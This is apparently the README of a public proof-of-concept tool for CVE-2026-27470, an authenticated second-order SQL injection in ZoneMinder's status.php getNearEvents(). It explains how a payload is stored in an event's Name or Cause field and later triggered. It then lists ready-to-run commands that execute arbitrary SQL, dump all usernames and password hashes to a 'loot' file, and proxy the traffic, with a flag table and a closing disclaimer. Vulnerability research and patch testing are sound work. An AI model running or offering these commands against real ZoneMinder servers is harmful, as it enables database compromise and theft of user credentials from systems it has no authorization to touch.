
Python製のCVE-2026-27470用PoC。ZoneMinderのgetNearEvents()(status.php)における認証済み二次SQLインジェクション、CVSS 8.8
作者: d3vn0mi | CVSS 8.8 | 需认证 | 需要 Events 权限
CVE-2026-27470 是 ZoneMinder 的 web/ajax/status.php 中 getNearEvents() 函数存在的二次注入 SQL 注入漏洞。
| 详情 | 值 |
|---|
| 受影响版本 | ZoneMinder <= 1.36.37 以及 1.37.61 – 1.38.0 |
| 修复版本 | 1.36.38 / 1.38.1 |
| 类型 | 二次注入 SQL 注入 |
| 是否需要认证 | 是(任何拥有 Events 权限的用户) |
| CVSS | 8.8(高危) |
该漏洞是一个两阶段(二次注入)SQL 注入:
阶段 1 — 存储:攻击者重命名事件(或编辑其 Cause 字段),使其包含 SQL 载荷。ZoneMinder 对此写入操作使用参数化查询,因此载荷会安全地存储在数据库中——没有 WAF 或过滤器会拦截它。
阶段 2 — 触发:攻击者通过状态 API 请求 nearevents 实体。getNearEvents() 函数从数据库读取存储的事件 Name/Cause,并未经净化直接将其拼接进新的 SQL 查询,从而导致 SQL 注入。
由于注入向量(存储的数据)与触发点(一个干净的 GET 请求)是分离的,因此这可以绕过大多数输入层面的防护措施。
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
凭据默认保存到 dumped_creds.txt。
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
| 标志 | 描述 | 默认值 |
|---|---|---|
-t, --target | 目标 URL | (必填) |
-u, --username | ZoneMinder 用户名 | (必填) |
-p, --password | ZoneMinder 密码 | (必填) |
--query | 要执行的 SQL 查询 | SELECT VERSION() |
--dump-users | 导出所有用户名和密码哈希 | |
-o, --output | 将结果保存到文件 | dumped_creds.txt |
--event-id | 用作注入载体的事件 ID | (自动检测) |
--field | 注入字段:Name 或 Cause | Name |
--no-restore | 利用后不恢复事件名称 | |
--proxy | HTTP 代理 URL | |
--timeout | 请求超时时间(秒) | 30 |
-v, --verbose | 启用调试日志 |
本工具仅供教育和授权安全研究目的使用。请勿将其用于您不拥有或未经明确书面许可测试的系统。作者不对因使用本工具造成的任何滥用或损害负责。